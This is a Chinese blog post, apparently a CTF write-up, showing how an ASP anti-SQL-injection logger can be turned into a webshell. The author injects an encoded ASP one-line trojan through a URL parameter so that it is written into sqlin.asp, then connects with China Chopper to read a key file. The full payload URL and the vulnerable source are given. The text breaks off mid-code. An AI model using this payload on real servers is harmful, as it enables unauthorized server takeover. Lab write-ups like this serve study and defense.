1值获取_SQL通用防注入系统asp版获取webshell

在Access+ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上面可以防范SQL注入,但其设计时存在一个重大的缺陷,将注入操作的url数据写入到asp文件中,如果在内容中插入Asp一句话加密木马内容,则可以获取webshell。

1.1.1漏洞测试

1.来自ctf通关的提示

在进行ctf实战中,碰到一个关口,提示采用sql通用防注入系统,通过提示知道key文件就在根目录下,而且记录是写入到数据库内。

3048f1d07bf7f218f04c088f464740c5.png

图1 ctf关口提示

2.测试语句

在url中添加“and 1=1”进行注入测试,如图2所示,程序操作IP、操作时间、操作页面、提交方式和提交参数等进行提示和记录,提示攻击者,网站有安全防护。

197aaa4a7ced61b00e90c50d5aaba324.png

图2提示注入防范

1.1.2获取webshell

1.通过sqlmap的绕过防火墙进行测试

在sqlmap中对该url地址进行绕过测试,未能成功。

2.使用加密的Asp一句话木马

使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“对url地址进行提交,也即:

10.2.66.50:8105/news.asp?id=753%20aNd%202=┼攠數畣整爠煥敵瑳∨≡┩愾

如图3所示,sql防注入系统会自动将url地址写入到sqlin.asp文件。

63339feb3f0504a9dfa821350b4cc589.png

图3插入一句话后门测试

3.访问sqlin.asp

在浏览器中输入http://10.2.66.50:8156/sqlin.asp进行访问测试,如图4所示,能够正常访问,前面插入的一句话后门直接写入到该文件。

11c10d86dbfa564e86d0229869e2c7e4.png

图4测试sqlin.asp文件

4.获取webshell

在中国菜刀后门管理工具中创建asp后门记录http://10.2.66.50:8156/sqlin.asp,密码为a,如图5所示,成功获取webshell。

3cd516f97292d5bc28b7cceef1fddc59.png

图5获取webshell

1.1.3获取key及程序漏洞分析

1.获取key值

通过webshell成功获取其key.php的值,如图6所示。key.php在网站目录设置了权限,无法通过http://10.2.66.50:8156/key.php直接获取。

798795bfce437c32ef509a10b43d3c2d.png

图6获取key值

2.漏洞分析

(1)news.asp文件

通过对news.asp源代码进行分析,发现其ID值并未进行任何过滤,明显存在sql注入漏洞。

sql="select * from news where id="&request("id")

rs.open sql,conn,1,3

bt=rs("bt")

nr=rs("nr")

(2)sql注入防范程序分析

sql注入防范程序是将数据信息插入到数据库中方便,其关键代码如下:

Fy_dbstr="DBQ="+server.mappath("SqlIn.asp")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

Fy_db.open Fy_dbstr

Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值